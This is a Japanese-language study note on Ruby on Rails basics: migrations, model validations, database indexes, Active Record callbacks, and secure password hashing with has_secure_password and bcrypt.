`rails generate migration add_カラム名_to_テーブル名（複数） データ型の指定`

#有効性の検証

モデルファイル内でvalidatesメソッドを記述する。
validatesメソッドは、第１引数に対象となるカラム、第２引数以降にオプションを取る。
##存在性の検証
```app/models/user.rb
class User < ApplicationRecord
  validates :name, presence: true
end
```
オプションを`presence: true`とすることで、存在性を検証できる
##長さの検証
`length: { (maximum or minimum): 長さ}`で長さを検証できる
##フォーマットの検証
オプションを`format: { with: /<regular expression>/ }`とすることで、フォーマットを検証できる
正規表現を利用する。
##一意性の検証
オプションを`uniqueness: true` とすることで、検証できる。
さらに、`:uniqueness`のオプションとして `:case_sensitive`を設定することで、大文字と小文字の区別をなくすことができる。
`case_sensitive: true`　で大文字小文字の区別をする

##データベースのインデックスの生成
検索の高速化のために、データベースのカラムにインデックス（索引）をつける事ができる。

マイグレーションファイルに
`add_index モデル名, カラム名, オプション`
（例）`add_index :users, :email, unique: true`

#Active Recordのコールバック
>Railsアプリケーションを普通に操作すると、その内部でオブジェクトが作成されたり、更新されたりdestroyされたりします。Active Recordはこのオブジェクトライフサイクルへのフックを提供しており、これを用いてアプリケーションやデータを制御できます。
コールバックは、オブジェクトの状態が切り替わる「前」または「後」にロジックをトリガします。

>コールバックとは、オブジェクトのライフサイクル期間における特定の瞬間に呼び出されるメソッドのことです。コールバックを利用することで、Active Recordオブジェクトが作成/保存/更新/削除/検証/データベースからの読み込み、などのイベント発生時に常に実行されるコードを書くことができます。

（例）`before_save { self.email = email.downcase }`

上はコールバックにブロックを渡している。他の方法として、
`before_save :（メソッド名）`としておいて、メソッドを他で定義しておく事もできる。

#セキュアなパスワード 
パスワードの安全性を保つために、
ユーザーによって入力されたパスワードはハッシュ化してデータベースに保存される。

ユーザーの認証を行う際には、パスワードの送信→パスのハッシュ化→先にデータベースに保存されているハッシュ化されたパスワードの値との比較　という流れ。

##セキュアなパスワードの実装
モデルに ***has_secure_password*** というメソッドを追加する。

>・セキュアにハッシュ化したパスワードを、データベース内のpassword_digestという属性に保存できるようになる。
・2つのペアの仮想的な属性 (passwordとpassword_confirmation) が使えるようになる。また、存在性と値が一致するかどうかのバリデーションも追加される18 。
・authenticateメソッドが使えるようになる (引数の文字列がパスワードと一致するとUserオブジェクトを、間違っているとfalseを返すメソッド) 。

has_secure_passwordメソッドを使うための条件は、
データベースにpassword_digest属性を追加すること。よって、
`$rails generate migration add_password_digest_to_users password_digest:string`

また最先端のハッシュ関数を使うためにGemfileに***bcrypt*** gemを追加する。

あとは、モデル内にhas_secure_passwordと記述するだけ